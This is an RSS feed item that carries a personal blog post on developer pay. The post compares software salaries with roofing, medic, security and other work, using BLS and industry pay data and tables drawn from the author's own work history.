<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Bradley Matera</title>
    <description>The latest articles on Forem by Bradley Matera (@bradleymatera).</description>
    <link>https://forem.com/bradleymatera</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3610693%2Ff7d715bb-f1d2-416f-94ad-ff8a4576e06a.png</url>
      <title>Forem: Bradley Matera</title>
      <link>https://forem.com/bradleymatera</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/bradleymatera"/>
    <language>en</language>
    <item>
      <title>The Developer Pay Paradox: Are Junior Devs, Staff Engineers and Most Developers Over- or Under-paid?</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Sun, 10 May 2026 00:11:39 +0000</pubDate>
      <link>https://forem.com/bradleymatera/the-developer-pay-paradox-are-junior-devs-staff-engineers-and-most-developers-over-or-under-paid-oid</link>
      <guid>https://forem.com/bradleymatera/the-developer-pay-paradox-are-junior-devs-staff-engineers-and-most-developers-over-or-under-paid-oid</guid>
      <description>&lt;p&gt;The software salary debate usually turns into two groups yelling past each other. One side sees a junior developer making $90k or $100k and says tech is overpaid, while the other side sees a staff engineer keeping a giant system alive and says developers are underpaid compared to the money they help companies make. Both sides can be right depending on what kind of developer they are talking about, but the conversation usually falls apart because people use one job title to describe a bunch of completely different jobs.&lt;/p&gt;

&lt;p&gt;A junior dev building admin screens, a mid-level dev fixing production bugs, a staff engineer designing systems across teams, and an AI engineer working near model infrastructure are all technically “developers,” but they are not living in the same labor market. Some of that work is closer to skilled trade work with a keyboard, some of it is business automation work, some of it is infrastructure work, and some of it is high-scale technical decision-making where one bad call can cost a company a lot of money.&lt;/p&gt;

&lt;p&gt;I also do not like when developers act like software is the only hard work that exists. I have been a roofer, I was a medic in the Army, I worked private security, and I have done warehouse-style work loading roofing materials onto job sites, so it is hard for me to listen to someone act like fixing a React bug is automatically harder than climbing a roof, treating people under pressure, standing a post all night, or throwing heavy material around in bad weather for less than $20 an hour.&lt;/p&gt;

&lt;p&gt;At the same time, I do not like fake arguments that pretend software work is easy just because it is not physically brutal. A job can be easier on the body and still be valuable to a company, because the company is not paying based on how much your back hurts. The company is paying based on leverage, replacement cost, scalability, risk, and how close the work sits to money.&lt;/p&gt;

&lt;p&gt;That is the uncomfortable part. A junior developer can do work that looks simple, like fixing a form or wiring an API call, and still get paid more than someone doing harder physical work. That does not mean the junior developer is tougher or more useful to society. It means software sits inside a business model where one small piece of work can be reused, deployed, copied, and sold again and again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The Real Question&lt;/li&gt;
&lt;li&gt;Why I’m Comparing These Jobs At All&lt;/li&gt;
&lt;li&gt;The Pay Numbers That Start The Argument&lt;/li&gt;
&lt;li&gt;Salary Comparison Graphic&lt;/li&gt;
&lt;li&gt;Why A Junior Dev Can Make More Than People Doing Harder Work&lt;/li&gt;
&lt;li&gt;Roofing Compared To Software Development&lt;/li&gt;
&lt;li&gt;Army Medic Work Compared To Software Development&lt;/li&gt;
&lt;li&gt;Private Security Compared To Software Development&lt;/li&gt;
&lt;li&gt;Warehouse And Manual Labor Compared To Software Development&lt;/li&gt;
&lt;li&gt;Teaching Compared To Software Development&lt;/li&gt;
&lt;li&gt;Do Most Developers Even Do DSA?&lt;/li&gt;
&lt;li&gt;Is Web Development Skilled Trade Work With A Keyboard?&lt;/li&gt;
&lt;li&gt;Are Junior Developers Overpaid?&lt;/li&gt;
&lt;li&gt;Are Mid-Level Developers Fairly Paid?&lt;/li&gt;
&lt;li&gt;Are Staff Engineers Overpaid?&lt;/li&gt;
&lt;li&gt;Where AI Changes The Pay Conversation&lt;/li&gt;
&lt;li&gt;The Three Different Developer Economies&lt;/li&gt;
&lt;li&gt;The Honest Answer&lt;/li&gt;
&lt;li&gt;Sources&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Real Question &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;The real question is not “are developers overpaid?” because that question is too broad to be useful. A better question is, “overpaid compared to what, for what type of work, at what company, and under what business model?” Without those details, the argument turns into people comparing a junior web developer at a small company to a staff engineer at Google like those are the same thing.&lt;/p&gt;

&lt;p&gt;If we compare developers to the national median worker, developers are paid a lot. If we compare developers to roofers, EMTs, paramedics, security guards, warehouse workers, construction laborers, or teachers, software pay can look insane, especially when the software job is remote and the other job is physically dangerous, emotionally heavy, or socially necessary.&lt;/p&gt;

&lt;p&gt;If we compare developers to the money their work can generate, the answer changes. A developer working on a SaaS product, payment system, cloud platform, AI tool, ad system, internal dashboard, or automation flow can touch systems that scale to thousands, millions, or even billions of interactions. That kind of scale is why the salary conversation gets weird fast.&lt;/p&gt;

&lt;p&gt;That is the part people miss when they only compare effort. The labor market does not pay only based on pain, danger, stress, intelligence, or how noble the job is. It mostly pays based on leverage, scarcity, replacement cost, company margins, and how close the work is to revenue.&lt;/p&gt;

&lt;p&gt;This is why the argument feels morally wrong but economically explainable. A medic can do more socially important work than a junior web developer and still make less, because medical labor is often trapped inside public budgets, insurance structures, military pay tables, local contracts, or staffing models. Software work, especially inside product companies, can sit closer to high-margin revenue.&lt;/p&gt;

&lt;p&gt;That does not mean the market is fair. It means the market is not built around fairness. It is built around money, risk, supply, demand, and who has the power to negotiate.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why I’m Comparing These Jobs At All &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;I am not comparing software to roofing, Army medic work, private security, warehouse-style labor, and case management because I think they are all the same job. I am comparing them because I have lived enough of those worlds to know that “hard work” and “high pay” are not the same thing, and pretending they are is one of the reasons the developer pay debate gets so fake.&lt;/p&gt;

&lt;p&gt;My own work history did not start in tech. I served as a Healthcare Specialist in the Army from 2011 to 2014, including training environments and combat-zone medical support, where the work involved triage, emergency response, medical readiness, supplies, physical exams, medication administration, and staying calm when things were unpredictable. After that, I worked roofing and roofing supply roles from 2017 to 2020, including general contracting, tear-off, shingle work, site prep, cleanup, and roof loading heavy materials onto job sites in bad weather and under tight schedules. I also worked private security, and later worked in case management with Veterans Court, Drug Court, and Mental Health Court, where documentation, communication, crisis intervention, and keeping people on track mattered every day.&lt;/p&gt;

&lt;p&gt;I also worked at Mason County Kitten Rescue from 2020 to 2022, which was not high-paying tech work, but it taught organization, intake, care routines, training volunteers, watching for signs of distress, and doing important daily work that does not become more profitable just because it matters. Then I started moving seriously into software, contributing as a Junior Frontend Developer with CIRIS Ethical AI in 2024 by running the project locally, improving onboarding and setup documentation, adding small code changes, improving token-verification logging, fixing lint issues, improving error messages, and opening GitHub Issues to keep larger ideas tracked. In 2025, I completed an on-site AWS Cloud Support Engineer internship in Seattle, where the work included guided support rotations in training environments with no customer data, guided Juniper and Junos troubleshooting labs in Jupyter Notebooks, and a capstone serverless metadata extraction workflow using Lambda, DynamoDB, S3, and an accessible frontend deployed on AWS Amplify.&lt;/p&gt;

&lt;p&gt;The reason that timeline matters is because none of the earlier physical or service-heavy jobs paid me over $20 an hour at the time, but they still demanded discipline, pressure management, communication, safety, documentation, and the ability to keep moving when things were not comfortable. Then tech came along and suddenly the pay ceiling was completely different, not because the work became morally superior, but because the business model changed. Software is not automatically harder than those jobs, but it can be attached to systems where the output scales in a way those jobs usually cannot.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Pay Numbers That Start The Argument &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;The U.S. Bureau of Labor Statistics listed the median annual wage for software developers at &lt;strong&gt;$133,080&lt;/strong&gt; in May 2024. The same BLS page says the lowest 10 percent earned less than &lt;strong&gt;$79,850&lt;/strong&gt;, while the highest 10 percent earned more than &lt;strong&gt;$211,450&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That number is already high compared to normal American wages. BLS listed the median annual wage for all workers at &lt;strong&gt;$49,500&lt;/strong&gt; in May 2024, which means the median software developer made about 2.7 times the median worker.&lt;/p&gt;

&lt;p&gt;The comparison gets uncomfortable when software is placed next to jobs that are clearly hard, risky, or socially important. BLS listed roofers at &lt;strong&gt;$50,970&lt;/strong&gt;, EMTs at &lt;strong&gt;$41,340&lt;/strong&gt;, paramedics at &lt;strong&gt;$58,410&lt;/strong&gt;, security guards at &lt;strong&gt;$38,370&lt;/strong&gt;, construction laborers and helpers at &lt;strong&gt;$46,050&lt;/strong&gt;, hand laborers and material movers at &lt;strong&gt;$37,680&lt;/strong&gt;, and high school teachers at &lt;strong&gt;$64,580&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Those numbers explain why people outside tech get annoyed when developers complain about pay. A junior developer can make more than a roofer, medic, security guard, teacher, construction laborer, or warehouse worker before that junior developer is even fully useful to the team.&lt;/p&gt;

&lt;p&gt;Levels.fyi shows even larger numbers because it tracks total compensation, not just base salary. In May 2026, Levels.fyi listed U.S. software engineer median total compensation around &lt;strong&gt;$191,000&lt;/strong&gt;, with the 25th percentile around &lt;strong&gt;$135,000&lt;/strong&gt;, the 75th percentile around &lt;strong&gt;$276,100&lt;/strong&gt;, and the 90th percentile around &lt;strong&gt;$380,000&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;BuiltIn shows a lower junior number than Levels.fyi, which makes sense because BuiltIn pulls from a broader mix of companies. BuiltIn lists U.S. junior software engineer average base salary around &lt;strong&gt;$89,847&lt;/strong&gt;, average additional cash compensation around &lt;strong&gt;$10,590&lt;/strong&gt;, and average total compensation around &lt;strong&gt;$100,437&lt;/strong&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Role Or Group&lt;/th&gt;
&lt;th&gt;Recent Pay Data&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;All U.S. workers&lt;/td&gt;
&lt;td&gt;$49,500 median wage&lt;/td&gt;
&lt;td&gt;This is the broad baseline for the whole labor market.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Roofers&lt;/td&gt;
&lt;td&gt;$50,970 median wage&lt;/td&gt;
&lt;td&gt;This is skilled, physical, dangerous work, but the pay is close to the national median.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EMTs&lt;/td&gt;
&lt;td&gt;$41,340 median wage&lt;/td&gt;
&lt;td&gt;This is life-safety work, but the labor market pays it far below software.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paramedics&lt;/td&gt;
&lt;td&gt;$58,410 median wage&lt;/td&gt;
&lt;td&gt;This pays more than EMT work, but still far below the median developer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security guards&lt;/td&gt;
&lt;td&gt;$38,370 median wage&lt;/td&gt;
&lt;td&gt;This is common risk-bearing work, but it pays far below software.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Construction laborers and helpers&lt;/td&gt;
&lt;td&gt;$46,050 median wage&lt;/td&gt;
&lt;td&gt;This is hard physical work that often pays less than many junior tech jobs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hand laborers and material movers&lt;/td&gt;
&lt;td&gt;$37,680 median wage&lt;/td&gt;
&lt;td&gt;This covers a lot of warehouse-style physical labor and shows how low that work often pays.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;High school teachers&lt;/td&gt;
&lt;td&gt;$64,580 median wage&lt;/td&gt;
&lt;td&gt;This requires education, responsibility, and social value, but it is still below junior software pay in many cases.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Software developers&lt;/td&gt;
&lt;td&gt;$133,080 median wage&lt;/td&gt;
&lt;td&gt;This is where the comparison starts looking unfair to people outside tech.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;U.S. software engineers on Levels.fyi&lt;/td&gt;
&lt;td&gt;$191,000 median total comp&lt;/td&gt;
&lt;td&gt;This includes bonus and equity, so it shows the higher end of tech more clearly.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Junior software engineers on BuiltIn&lt;/td&gt;
&lt;td&gt;$100,437 average total comp&lt;/td&gt;
&lt;td&gt;This is one reason people ask whether junior developers are overpaid.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The table is not saying developers have easy lives or that every developer is rich. It is showing why the discussion gets tense, because the pay gap is real and the explanation is not as simple as “developers are smarter” or “developers work harder.”&lt;/p&gt;

&lt;p&gt;The market is not judging pay by soreness, danger, or public good. It is judging pay by how much money the company has, how scalable the output is, how hard the role is to fill, and how expensive it is when the work is done badly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Salary Comparison Graphic &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq2c5nt9jndbfdinm30ys.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq2c5nt9jndbfdinm30ys.jpg" alt="Salary comparison chart showing median annual pay for security guards, warehouse-style material movers, EMTs, construction laborers, all U.S. workers, roofers, paramedics, teachers, junior software engineers, software developers, and Levels.fyi software engineers" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

A salary comparison using recent BLS wage data, BuiltIn junior software engineer compensation, and Levels.fyi software engineer total compensation. The point is not that software is always harder. The point is that software sits closer to scalable business leverage, which changes how companies pay for the work.







&lt;h2&gt;
  
  
  Why A Junior Dev Can Make More Than People Doing Harder Work &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This is the question people are really asking. Why is a junior developer who barely knows the codebase getting paid more than somebody climbing roofs, treating casualties, standing security posts, moving freight, or managing a classroom?&lt;/p&gt;

&lt;p&gt;The answer is not that junior devs are tougher than roofers, medics, teachers, or security guards. A junior dev sitting at a desk with a laptop is not taking the same physical beating as a roofer, and they are not carrying the same kind of immediate life-and-death pressure as a medic.&lt;/p&gt;

&lt;p&gt;The answer is also not that every junior developer is doing genius-level computer science all day. Most junior developers are not writing compilers, designing databases, or inventing new algorithms. Most are fixing bugs, building components, writing API calls, updating forms, handling validation, reading existing code, asking questions, and trying not to break the build.&lt;/p&gt;

&lt;p&gt;The reason junior developers can still get paid more is leverage. A junior dev working on the right product can ship a small feature that thousands of customers touch, while a roofer can only roof the house, building, or section physically in front of them.&lt;/p&gt;

&lt;p&gt;That does not make the roofer less skilled, and it does not make the medic less important. It means software output can be copied, deployed, reused, sold, and scaled in a way physical labor usually cannot.&lt;/p&gt;

&lt;p&gt;A roofer finishes a roof and that roof exists in one place. A developer finishes a login flow, billing screen, internal automation, or API endpoint, and that work might run all day for every user the company has.&lt;/p&gt;

&lt;p&gt;A medic treats the patient in front of them, and that work matters in a direct human way. A developer builds a system that might remove manual steps for a whole department, process thousands of payments, or prevent support tickets before they exist.&lt;/p&gt;

&lt;p&gt;A security guard protects a site, handles access, watches patterns, and responds to incidents in one location. A developer who builds access controls, audit logs, or monitoring systems might affect every user and every employee at the company.&lt;/p&gt;

&lt;p&gt;That is why software salaries feel disconnected from effort. The pay is not really for typing code. The pay is for building and maintaining systems that can scale past one person’s physical output.&lt;/p&gt;




&lt;h2&gt;
  
  
  Roofing Compared To Software Development &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Roofing is one of the easiest jobs for people to underestimate because the final product looks simple. A roof keeps water out, but anyone who has actually done the work knows that a roof is only simple when you ignore everything that makes it fail.&lt;/p&gt;

&lt;p&gt;When I think about roofing, there are about 10 things you have to actually learn before you are useful and safe. You need to understand tear-off, decking, underlayment, flashing, shingles, fasteners, ventilation, valleys, measurements, and job-site safety.&lt;/p&gt;

&lt;p&gt;Tear-off is not just ripping old material off the roof. It is removing layers without destroying the deck, managing debris, watching for rot, keeping the site clean enough to work, and not creating a bigger problem before the new material even goes on.&lt;/p&gt;

&lt;p&gt;Decking matters because the roof is only as good as what it is attached to. In software, this is like discovering the data model, old architecture, or legacy service is rotten underneath the feature request.&lt;/p&gt;

&lt;p&gt;Underlayment, ice barrier, and water protection are the hidden layers most homeowners never think about. In software, those are like validation, auth checks, error handling, logging, and safe defaults, because nobody praises them when they work but everybody notices when they fail.&lt;/p&gt;

&lt;p&gt;Flashing is where a lot of bad roofs lose. In software, the equivalent is integrations, permission boundaries, third-party APIs, weird browser behavior, and all the places where one clean system meets another messy system.&lt;/p&gt;

&lt;p&gt;Shingles look easy from the ground, but alignment, overlap, nailing pattern, starter strips, and sequence all matter. In software, that is the repeatable pattern work, because a component, endpoint, or service should fit the system instead of being random every time.&lt;/p&gt;

&lt;p&gt;Fasteners matter because using the wrong nail, wrong placement, or wrong pressure creates future failure. In code, that is like using the wrong dependency, weak typing, fragile state management, a bad query, or a shortcut that only works until the system changes.&lt;/p&gt;

&lt;p&gt;Ventilation is one of those things that makes a roof fail slowly. In software, performance, caching, queues, background jobs, and infrastructure limits are the same kind of hidden system health work.&lt;/p&gt;

&lt;p&gt;Valleys, edges, vents, chimneys, and walls are where the easy middle stops being easy. In software, the happy path is usually simple, but the edge cases, weird inputs, expired sessions, duplicate requests, broken permissions, and production-only bugs are where the real work shows up.&lt;/p&gt;

&lt;p&gt;Measurement and material planning matter because waste costs money and bad estimates kill jobs. In software, bad estimates create missed deadlines, half-built features, rushed testing, and pressure that usually lands on the people doing the work.&lt;/p&gt;

&lt;p&gt;Safety matters because roofing can hurt or kill you fast. Software usually will not do that to your body, but it can hurt customers, leak data, break billing, stop operations, or create business damage if the system is important enough.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Roofing Work&lt;/th&gt;
&lt;th&gt;Software Equivalent&lt;/th&gt;
&lt;th&gt;Why The Comparison Makes Sense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tear off the old roof without damaging the deck&lt;/td&gt;
&lt;td&gt;Refactor old code without breaking production&lt;/td&gt;
&lt;td&gt;Both jobs start by removing bad or outdated layers carefully.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inspect problem areas before quoting the job&lt;/td&gt;
&lt;td&gt;Read requirements, logs, errors, and existing code before coding&lt;/td&gt;
&lt;td&gt;Both jobs punish people who start swinging before understanding the problem.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Measure the roof and calculate material&lt;/td&gt;
&lt;td&gt;Scope the feature, data model, and implementation work&lt;/td&gt;
&lt;td&gt;Both jobs need estimating, waste control, and planning before execution.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replace rotten plywood or damaged joists&lt;/td&gt;
&lt;td&gt;Fix bad architecture, bad data, or broken dependencies&lt;/td&gt;
&lt;td&gt;Both jobs reveal hidden problems once the surface layer comes off.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install underlayment and water protection&lt;/td&gt;
&lt;td&gt;Add validation, auth, error handling, and security checks&lt;/td&gt;
&lt;td&gt;Both jobs need invisible protection that the customer may never notice until it fails.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flash chimneys, walls, valleys, and vents&lt;/td&gt;
&lt;td&gt;Handle edge cases around integrations, permissions, and weird states&lt;/td&gt;
&lt;td&gt;Both jobs usually fail at the edges, not in the big flat middle.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lay shingles with proper overlap and alignment&lt;/td&gt;
&lt;td&gt;Build UI and API flows with consistent patterns&lt;/td&gt;
&lt;td&gt;Both jobs need repeatable patterns, not random improvisation every few feet.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cut materials around vents, walls, and valleys&lt;/td&gt;
&lt;td&gt;Adapt code around browser quirks, API limits, and product exceptions&lt;/td&gt;
&lt;td&gt;Both jobs require custom fitting while still following a system.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install ventilation correctly&lt;/td&gt;
&lt;td&gt;Design performance, caching, and operational flow&lt;/td&gt;
&lt;td&gt;Both jobs can look fine at first and fail later if system flow is wrong.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Work safely on ladders, slopes, heat, wind, and job sites&lt;/td&gt;
&lt;td&gt;Work safely around production data, secrets, deployments, and user impact&lt;/td&gt;
&lt;td&gt;Both jobs have risk, but the kind of risk is different.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is why I do not buy the argument that software work is always intellectually superior to trade work. A lot of software development is applied craft, pattern recognition, troubleshooting, repetition, and learning how to avoid known failures.&lt;/p&gt;

&lt;p&gt;The difference is that software companies can sell the same work again and again. A roofing company cannot install the same roof on 100,000 houses with one deployment.&lt;/p&gt;




&lt;h2&gt;
  
  
  Army Medic Work Compared To Software Development &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Medic work is another comparison that makes software pay feel strange. As a medic, especially in the Army, the job is not just knowing medical facts. It is applying training under stress, around chain of command, with imperfect information, limited time, and real consequences.&lt;/p&gt;

&lt;p&gt;The Army describes the 68W Combat Medic Specialist role as assessing injuries, stabilizing patients, making critical medical decisions under extreme conditions, training other soldiers in first aid, and providing emergency medical treatment. That is a lot of responsibility for a role that often does not pay anywhere near what a developer makes.&lt;/p&gt;

&lt;p&gt;Civilian pay shows the gap clearly too. BLS lists EMTs at a median annual wage of &lt;strong&gt;$41,340&lt;/strong&gt; and paramedics at &lt;strong&gt;$58,410&lt;/strong&gt;, which means a junior software developer can easily make more than someone doing emergency medicine work.&lt;/p&gt;

&lt;p&gt;This is not because the junior developer has more immediate responsibility than a medic. A junior dev might break a page or slow down a sprint, while a medic can be involved in decisions where minutes matter.&lt;/p&gt;

&lt;p&gt;The software comparison is not about physical danger or emotional pressure. It is about decision-making inside a system, because medics and developers both work with incomplete information and need to decide what matters first.&lt;/p&gt;

&lt;p&gt;A medic has to assess the patient, control bleeding, protect the airway, manage shock, communicate with the team, prepare evacuation, document care, and keep working under pressure. A developer has to assess the bug, isolate the failure, protect production, communicate with the team, prepare a fix, document the change, and keep working under pressure.&lt;/p&gt;

&lt;p&gt;Those are not equal jobs. The human stakes are not the same. But the pattern is similar because both involve triage, prioritization, systems thinking, and knowing when the wrong action is worse than taking a moment to understand the problem.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Medic Work&lt;/th&gt;
&lt;th&gt;Software Equivalent&lt;/th&gt;
&lt;th&gt;Why The Comparison Makes Sense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Triage multiple problems under pressure&lt;/td&gt;
&lt;td&gt;Prioritize incidents, bugs, and outages&lt;/td&gt;
&lt;td&gt;Both jobs require deciding what matters first.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stop bleeding before treating smaller injuries&lt;/td&gt;
&lt;td&gt;Fix the production-breaking issue before cosmetic bugs&lt;/td&gt;
&lt;td&gt;Both jobs need damage control before polish.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maintain airway, breathing, and circulation&lt;/td&gt;
&lt;td&gt;Protect uptime, data flow, and core system health&lt;/td&gt;
&lt;td&gt;Both jobs depend on keeping the main system alive.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Work with limited information&lt;/td&gt;
&lt;td&gt;Debug with incomplete logs or unclear reports&lt;/td&gt;
&lt;td&gt;Both jobs rarely start with perfect information.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Communicate with chain of command or evacuation teams&lt;/td&gt;
&lt;td&gt;Communicate with managers, product, support, and engineers&lt;/td&gt;
&lt;td&gt;Both jobs fail when communication fails.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Track treatment and patient status&lt;/td&gt;
&lt;td&gt;Document incident notes, fixes, and follow-up work&lt;/td&gt;
&lt;td&gt;Both jobs need records so the next person is not blind.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Train others in basic first aid&lt;/td&gt;
&lt;td&gt;Mentor juniors and write operational docs&lt;/td&gt;
&lt;td&gt;Both jobs scale knowledge through training.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stay calm when people panic&lt;/td&gt;
&lt;td&gt;Stay calm during production issues&lt;/td&gt;
&lt;td&gt;Both jobs punish panic and reward process.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is why I do not like when developers exaggerate how hard coding is compared to everything else. Medic work can be more stressful, more direct, more personal, and more consequential in the moment.&lt;/p&gt;

&lt;p&gt;The reason software pays more is not because society values medics correctly. Software pays more because companies can turn working software into repeatable revenue, while emergency medical work is often limited by public budgets, contracts, insurance systems, military pay structures, and staffing models that do not reward the worker based on the actual human value of the work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Private Security Compared To Software Development &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Private security is another job people underestimate because they picture someone just standing around. Sometimes that is what it looks like from the outside, but the actual job is staying alert when nothing is happening, noticing when something changes, handling people without escalating the situation, and being the first person blamed when something goes wrong.&lt;/p&gt;

&lt;p&gt;BLS lists security guards at a median annual wage of &lt;strong&gt;$38,370&lt;/strong&gt; in May 2024. That is about &lt;strong&gt;$18.45/hour&lt;/strong&gt;, and it is still far below what many junior developers make.&lt;/p&gt;

&lt;p&gt;When I worked private security, the job was not technically complex the same way software is complex, but it required discipline, awareness, patience, and judgment. You had to watch access points, control entry, write incident reports, handle tense people, stay awake, stay professional, and understand when to call for help.&lt;/p&gt;

&lt;p&gt;Software has a security version of that same thinking. A lot of development work is boring monitoring, access control, logging, reviewing permissions, checking systems, and making sure the wrong person does not get into the wrong place.&lt;/p&gt;

&lt;p&gt;The pay difference is not because the private security worker has no value. The pay difference is because private security is often treated as a cost center, while software is often treated as a product engine or revenue multiplier.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Private Security Work&lt;/th&gt;
&lt;th&gt;Software Equivalent&lt;/th&gt;
&lt;th&gt;Why The Comparison Makes Sense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Control access to a site&lt;/td&gt;
&lt;td&gt;Build authentication and authorization&lt;/td&gt;
&lt;td&gt;Both jobs decide who gets in and what they can touch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Watch cameras, doors, lots, and patterns&lt;/td&gt;
&lt;td&gt;Monitor logs, dashboards, errors, and metrics&lt;/td&gt;
&lt;td&gt;Both jobs require noticing abnormal behavior.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Write incident reports&lt;/td&gt;
&lt;td&gt;Write bug reports, incident notes, and postmortems&lt;/td&gt;
&lt;td&gt;Both jobs need clear records after something happens.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;De-escalate tense people&lt;/td&gt;
&lt;td&gt;Handle support escalations and production pressure calmly&lt;/td&gt;
&lt;td&gt;Both jobs need communication under stress.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow post orders&lt;/td&gt;
&lt;td&gt;Follow runbooks, deployment process, and security policy&lt;/td&gt;
&lt;td&gt;Both jobs depend on process because memory is not enough.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patrol and inspect areas&lt;/td&gt;
&lt;td&gt;Review systems, endpoints, configs, and permissions&lt;/td&gt;
&lt;td&gt;Both jobs look for problems before they become incidents.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Respond when something changes&lt;/td&gt;
&lt;td&gt;Respond to alerts, outages, and suspicious activity&lt;/td&gt;
&lt;td&gt;Both jobs can be quiet for hours and then serious fast.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The unfair part is that security workers are paid like replaceable labor even though bad security can cost a company a lot. Software developers are paid better because their work is closer to scalable revenue and because companies believe replacing a developer is harder than replacing a guard.&lt;/p&gt;

